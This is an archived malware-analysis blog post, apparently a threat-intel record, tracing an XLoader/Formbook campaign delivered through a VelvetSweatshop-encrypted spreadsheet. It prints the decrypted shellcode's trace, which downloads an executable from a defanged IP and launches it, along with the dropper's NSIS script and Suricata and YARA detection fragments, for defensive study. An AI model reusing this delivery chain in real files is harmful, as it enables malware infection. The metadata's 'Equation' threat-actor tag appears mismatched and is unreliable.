{
	"id": "9dc831d8-1044-4876-9973-1e83f68acedd",
	"created_at": "2026-04-06T00:19:16.641503Z",
	"updated_at": "2026-04-10T03:22:50.023319Z",
	"deleted_at": null,
	"sha1_hash": "4367755d450cbd9634a666793492118f74e64d84",
	"title": "XLoader/Formbook Distributed by Encrypted VelvetSweatshop Spreadsheets",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 832505,
	"plain_text": "XLoader/Formbook Distributed by Encrypted VelvetSweatshop\r\nSpreadsheets\r\nPublished: 2022-02-11 · Archived: 2026-04-05 19:14:15 UTC\r\nJust like with RTF documents, adversaries can use XLSX spreadsheets to exploit the Microsoft Office Equation Editor. To\r\nadd a little bit of complication on top, adversaries also sometimes like to encrypt/password protect documents, but that\r\ndoesn’t have to slow down our analysis too much. For this analysis I’m working with this sample in MalwareBazaar:\r\nhttps://bazaar.abuse.ch/sample/91cf449506a9c3ade639027f6a38e99ee22d9cc7c2a1c4bc42fc8047185b8918/.\r\nTriaging the File\r\nMalwareBazaar gave us a head start in asserting the document is a XLSX file. We can confirm this with Detect-It-Easy and\r\nfile .\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\nremnux@remnux:~/cases/xloader-doc$ diec TW0091.xlsx\r\nfiletype: Binary\r\narch: NOEXEC\r\nmode: Unknown\r\nendianess: LE\r\ntype: Unknown\r\n archive: Microsoft Compound(MS Office 97-2003 or MSI etc.)\r\nremnux@remnux:~/cases/xloader-doc$ file TW0091.xlsx\r\nTW0091.xlsx: CDFV2 Encrypted\r\nThe file output indicates the XLSX file is encrypted, so step one is taking a crack at getting the decrypted document.\r\nDecrypting the Spreadsheet\r\nWe can give a good first shot at finding the document password using msoffcrypto-crack.py .\r\n1\r\n2\r\nremnux@remnux:~/cases/xloader-doc$ msoffcrypto-crack.py TW0091.xlsx\r\nPassword found: VelvetSweatshop\r\nAnd just like that, we got a little lucky! The password for this document is VelvetSweatshop , which has some significance\r\nin MS Office documents. For more info you can hit up Google, but the basic gist is that Office documents encrypted with\r\nthe password VelvetSweatshop will automatically decrypt themselves when opened in Office. This is an easy way to\r\nencrypt documents for distribution without having to worry about passing a password to the receiving party.\r\nTo decrypt the document, we can pass that password into msoffcrypto-tool .\r\n1\r\n2\r\n3\r\n4\r\nremnux@remnux:~/cases/xloader-doc$ msoffcrypto-tool -p VelvetSweatshop TW0091.xlsx decrypted.xlsx\r\nremnux@remnux:~/cases/xloader-doc$ file decrypted.xlsx\r\ndecrypted.xlsx: Microsoft Excel 2007+\r\nAlright, now we have a decrypted document to work with!\r\nAnalyzing the Decrypted Spreadsheet\r\nA good first step with any MS Office file is to check for macro-based things with olevba .\r\nhttps://forensicitguy.github.io/xloader-formbook-velvetsweatshop-spreadsheet/\r\nPage 1 of 6\n\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\nremnux@remnux:~/cases/xloader-doc$ olevba decrypted.xlsx\r\nolevba 0.60 on Python 3.8.10 - http://decalage.info/python/oletools\r\n===============================================================================\r\nFILE: decrypted.xlsx\r\nType: OpenXML\r\nNo VBA or XLM macros found.\r\nThe output from olevba indicates there aren’t Visual Basic for Applications (VBA) macros or Excel 4.0 macros present.\r\nThis leads me into thinking there may be OLE objects involved. We can take a look using oledump.py .\r\n1\r\n2\r\n3\r\n4\r\nremnux@remnux:~/cases/xloader-doc$ oledump.py decrypted.xlsx\r\nA: xl/embeddings/oleObject1.bin\r\n A1: 20 '\\x01Ole'\r\n A2: 1643 '\\x01oLe10nAtIVe'\r\nSo it looks like we’ve got an OLE object in the spreadsheet that doesn’t contain macro code. I’m leaning towards thinking\r\nit’s shellcode at this point. Since that A2 stream looks like it is larger, let’s extract it and see if xorsearch.py -W can help\r\nus find an entry point.\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\nremnux@remnux:~/cases/xloader-doc$ oledump.py -d -s A2 decrypted.xlsx \u003e a2.dat\r\nremnux@remnux:~/cases/xloader-doc$ file a2.dat\r\na2.dat: packed data\r\nremnux@remnux:~/cases/xloader-doc$ xorsearch -W a2.dat\r\nFound XOR 00 position 0000020E: GetEIP method 3 E9AE000000\r\nFound ROT 25 position 0000020E: GetEIP method 3 E9AE000000\r\nFound ROT 24 position 0000020E: GetEIP method 3 E9AE000000\r\nFound ROT 23 position 0000020E: GetEIP method 3 E9AE000000\r\nIt looks like xorsearch found a GetEIP method at 0x20E in the A2 stream we exported. We can use this offset with\r\nscdbg to emulate shellcode execution and see if that is what downloads a subsequent stage. When looking at the report\r\noutput from scdbg , we can see several familiar functions.\r\nhttps://forensicitguy.github.io/xloader-formbook-velvetsweatshop-spreadsheet/\r\nPage 2 of 6\n\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n401454 GetProcAddress(ExpandEnvironmentStringsW)\r\n401487 ExpandEnvironmentStringsW(%PUBLIC%\\vbc.exe, dst=12fb9c, sz=104)\r\n40149c LoadLibraryW(UrlMon)\r\n4014b7 GetProcAddress(URLDownloadToFileW)\r\n401505 URLDownloadToFileW(hxxp://2.58.149[.]229/namec.exe, C:\\users\\Public\\vbc.exe)\r\n40154d LoadLibraryW(shell32)\r\n401565 GetProcAddress(ShellExecuteExW)\r\n40156d unhooked call to shell32.ShellExecuteExW\r\nIn the shellcode, the adversary uses ExpandEnvironmentStringsW to find the Public folder in Windows. Next, they use\r\nURLDownloadToFileW to retrieve content from hxxp://2.58.149[.]229/namec.exe and write it to\r\nC:\\Users\\Public\\vbc.exe . Finally, they use ShellExecuteExW to launch vbc.exe .\r\nTriaging vbc.exe\r\nWe’re not going to entirely reverse engineer vbc.exe tonight, but we can get some identifying information about it. To\r\nstart off, let’s take a look at some details using file and pedump .\r\n1\r\n2\r\nremnux@remnux:~/cases/xloader-doc$ file vbc.exe\r\nvbc.exe: PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive\r\nThe file utility says that the EXE is a Nullsoft Installer archive. We can confirm this using a couple data points from\r\npedump . First, we’ll want to look at the executable’s PE sections. The presence of a section named .ndata tends to\r\nindicate the EXE is a Nullsoft Installer. Also, the compiler information section of pedump output will show the executable\r\nwas made with Nullsoft.\r\n1\r\n2\r\nremnux@remnux:~/cases/xloader-doc$ pedump -S --packer vbc.exe\r\nhttps://forensicitguy.github.io/xloader-formbook-velvetsweatshop-spreadsheet/\r\nPage 3 of 6\n\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\n11\r\n12\r\n13\r\n14\r\n=== SECTIONS ===\r\n NAME RVA VSZ RAW_SZ RAW_PTR nREL REL_PTR nLINE LINE_PTR FLAGS\r\n .text 1000 5976 5a00 400 0 0 0 0 60000020 R-X CODE\r\n .rdata 7000 1190 1200 5e00 0 0 0 0 40000040 R-- IDATA\r\n .data 9000 1af98 400 7000 0 0 0 0 c0000040 RW- IDATA\r\n .ndata 24000 8000 0 0 0 0 0 0 c0000080 RW- UDATA\r\n .rsrc 2c000 900 a00 7400 0 0 0 0 40000040 R-- IDATA\r\n=== Packer / Compiler ===\r\n Nullsoft install system v2.x\r\nTo squeeze the last bit of information from the vbc.exe binary, we can unpack it using 7z . To get the most information,\r\nincluding the NSIS configuration script, you’ll need a version that is several years old such as 15.05 like in this post. I went\r\nback and downloaded version 9.38.1 of p7zip-full , the Linux implementation of 7-zip.\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\n11\r\n12\r\n13\r\n14\r\n15\r\n16\r\n17\r\n18\r\n19\r\n20\r\n21\r\n22\r\n23\r\n24\r\n25\r\n26\r\n27\r\nremnux@remnux:~/cases/xloader-doc/zip$ p7zip_9.38.1/bin/7z x vbc.exe\r\n7-Zip 9.38 beta Copyright (c) 1999-2014 Igor Pavlov 2015-01-03\r\np7zip Version 9.38.1 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,2 CPUs,ASM)\r\nProcessing archive: vbc.exe\r\nExtracting 8yhm36shrfdb7m\r\nExtracting mhwrt\r\nExtracting lzxupx.exe\r\nExtracting [NSIS].nsi\r\nEverything is Ok\r\nFiles: 4\r\nSize: 355002\r\nCompressed: 302002\r\nremnux@remnux:~/cases/xloader-doc/zip$ ll\r\ntotal 10452\r\ndrwxrwxr-x 3 remnux remnux 4096 Feb 11 23:30 ./\r\ndrwxrwxr-x 4 remnux remnux 4096 Feb 11 23:28 ../\r\n-rw-rw-r-- 1 remnux remnux 216666 Feb 11 03:22 8yhm36shrfdb7m\r\n-rw-rw-r-- 1 remnux remnux 125952 Feb 11 03:22 lzxupx.exe\r\n-rw-rw-r-- 1 remnux remnux 7486 Feb 11 03:22 mhwrt\r\n-rw-rw-r-- 1 remnux remnux 4898 Feb 11 21:54 '[NSIS].nsi'\r\ndrwx------ 6 remnux remnux 4096 Feb 11 23:28 p7zip_9.38.1/\r\n-rw-rw-r-- 1 remnux remnux 302002 Feb 11 21:54 vbc.exe\r\nWe can take a look in the [NSIS].nsi script and see what content would be executed:\r\nFunction .onGUIInit\r\n InitPluginsDir\r\n ; Call Initialize_____Plugins\r\n ; SetDetailsPrint lastused\r\n SetOutPath $INSTDIR\r\n File 8yhm36shrfdb7m\r\n File mhwrt\r\n File lzxupx.exe\r\n ExecWait \"$INSTDIR\\lzxupx.exe $INSTDIR\\mhwrt\"\r\n Abort\r\n FlushINI $INSTDIR\\churches\\forget.bin\r\n Pop $R5\r\n Push 31373\r\n CopyFiles $INSTDIR\\unknowns\\hemlock.bmp $INSTDIR\\arboretum\\bitsy\\chances.tif ; $(LSTR_7)$INSTDIR\\arboretum\\bitsy\\chan\r\n Nop\r\n Exec $INSTDIR\\mightier\\audit\\kahuna.pdf\r\n CreateDirectory $INSTDIR\\sail\\hold\r\nhttps://forensicitguy.github.io/xloader-formbook-velvetsweatshop-spreadsheet/\r\nPage 4 of 6\n\nGetFullPathName $7 $INSTDIR\\cloak.csv\r\n Nop\r\n DetailPrint rstykivsbfr\r\n Exch $1\r\n ; Push $1\r\n ; Exch\r\n ; Pop $1\r\n SetErrorLevel 3\r\n CreateDirectory $INSTDIR\\manic\\sons\\folklore\r\n CreateDirectory $INSTDIR\\reaches\r\n CreateDirectory $INSTDIR\\scanning\\audit\r\n Nop\r\n ReadEnvStr $R2 TEMP\r\n DetailPrint sylsppbkgbyo\r\n Exch $8\r\n ; Push $8\r\n ; Exch\r\n ; Pop $8\r\n Exch $R7\r\n ; Push $R7\r\n ; Exch\r\n ; Pop $R7\r\n EnumRegKey $R5 HKLM oqyalkuqydrx 2236\r\n FileWriteByte $5 765\r\nFunctionEnd\r\nWhen the NSIS installer starts running, it will execute the commands in .onGUIInit . These three files get written:\r\n8yhm36shrfdb7m\r\nmhwrt\r\nlzxupx.exe\r\nThe installer then runs the command \"$INSTDIR\\lzxupx.exe $INSTDIR\\mhwrt\" , waiting for the result. After it finishes, an\r\nAbort command processes. The abort causes the installer code to immediately skip to the function .onGUIEnd . Since this\r\nfunction isn’t defined in this particular script, the installer ends immediately.\r\nHow Do We Know It’s XLoader/Formbook??\r\nThis is where analysis dried up for me via code and I started leaning on sandbox output. Specifically, I looked at the report\r\nfrom Hatching Triage here: https://tria.ge/220211-wmgqsaeegl/behavioral1. When parsing the output, I noticed the sandbox\r\nmade some identification based on the Suricata Emerging Threats rule ET MALWARE FormBook CnC Checkin (GET).\r\nLet’s see if we can validate that using the rule criteria and PCAP data from the sandbox. You can grab the Emerging Threats\r\nrules here: https://rules.emergingthreats.net/OPEN_download_instructions.html. I downloaded the PCAP from Tria.ge.\r\nOnce we unpack the rules, we can search them using grep -F to quickly find the alert criteria.\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\nremnux@remnux:~/cases/xloader-doc/network/rules$ grep -F 'ET MALWARE FormBook CnC Checkin (GET)' *\r\nemerging-malware.rules:alert http $HOME_NET any -\u003e $EXTERNAL_NET any (msg:\"ET MALWARE FormBook CnC Checkin (GET)\"; flow:estab\r\nemerging-malware.rules:alert http $HOME_NET any -\u003e $EXTERNAL_NET any (msg:\"ET MALWARE FormBook CnC Checkin (GET)\"; flow:estab\r\nemerging-malware.rules:alert http $HOME_NET any -\u003e $EXTERNAL_NET any (msg:\"ET MALWARE FormBook CnC Checkin (GET)\"; flow:estab\r\nhttps://forensicitguy.github.io/xloader-formbook-velvetsweatshop-spreadsheet/\r\nPage 5 of 6\n\nThe first big pattern in the rules, content:\"Connection|3a 20|close|0d 0a 0d 0a 00 00 00 00 00 00|\" , is matched in a\r\npacket going to www.appleburyschool[.]com . Finally, the rest of the URI for the request matches a massive regular\r\nexpression for Formbook/Xloader.\r\n/^[A-Za-z0-9_-]{1,15}=(?:[A-Za-z0-9-_]{1,25}|(?:[A-Za-z0-9+/]{4})*(?:[A-Za-z0-9+/]{2}==|[A-Za-z0-9+/]{3}=|[A-Za-z0-9+/]{4\r\n1 /b80i/?1bwhC=javT2wWCzY2TGjiLQcDYfNXvB4BbgLustNQoY/LvZGM3F6OzxMpM5exhHgP5m5g5\u0026tB=TtdpPpwhOb1\r\nIt’s also possible to validate findings using the memory dumps in Triage! One of the fields in Triage indicated a YARA rule\r\ntripped on the memory dump 636-73-0x0000000000400000-0x0000000000429000-memory.dmp , which can be downloaded.\r\nThis is a memory dump from process ID 636 in that sandbox report, which corresponds to an evil lzxupx.exe process.\r\nUsing yara-rules , we can see some evidence of Formbook:\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n8\r\n9\r\n10\r\n11\r\n12\r\n13\r\n14\r\n15\r\nremnux@remnux:~/cases/xloader-doc$ yara-rules -s 636-73-0x0000000000400000-0x0000000000429000-memory.dmp\r\nCRC32b_poly_Constant 636-73-0x0000000000400000-0x0000000000429000-memory.dmp\r\n0x8bb7:$c0: B7 1D C1 04\r\n...\r\nFormbook 636-73-0x0000000000400000-0x0000000000429000-memory.dmp\r\n0x16ad9:$sqlite3step: 68 34 1C 7B E1\r\n0x16bec:$sqlite3step: 68 34 1C 7B E1\r\n0x16b08:$sqlite3text: 68 38 2A 90 C5\r\n0x16c2d:$sqlite3text: 68 38 2A 90 C5\r\n0x16b1b:$sqlite3blob: 68 53 D8 7F 8C\r\n0x16c43:$sqlite3blob: 68 53 D8 7F 8C\r\n...\r\nIt looks like the contents of memory trip a YARA rules from JPCERT designed to detect Formbook in memory:\r\nhttps://github.com/Yara-Rules/rules/blob/master/malware/MalConfScan.yar#L381\r\nThat’s all for now, folks, thanks for reading!\r\nSource: https://forensicitguy.github.io/xloader-formbook-velvetsweatshop-spreadsheet/\r\nhttps://forensicitguy.github.io/xloader-formbook-velvetsweatshop-spreadsheet/\r\nPage 6 of 6",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://forensicitguy.github.io/xloader-formbook-velvetsweatshop-spreadsheet/"
	],
	"report_names": [
		"xloader-formbook-velvetsweatshop-spreadsheet"
	],
	"threat_actors": [
		{
			"id": "b740943a-da51-4133-855b-df29822531ea",
			"created_at": "2022-10-25T15:50:23.604126Z",
			"updated_at": "2026-04-10T02:00:05.259593Z",
			"deleted_at": null,
			"main_name": "Equation",
			"aliases": [
				"Equation"
			],
			"source_name": "MITRE:Equation",
			"tools": null,
			"source_id": "MITRE",
			"reports": null
		}
	],
	"ts_created_at": 1775434756,
	"ts_updated_at": 1775791370,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/4367755d450cbd9634a666793492118f74e64d84.pdf",
		"text": "https://archive.orkl.eu/4367755d450cbd9634a666793492118f74e64d84.txt",
		"img": "https://archive.orkl.eu/4367755d450cbd9634a666793492118f74e64d84.jpg"
	}
}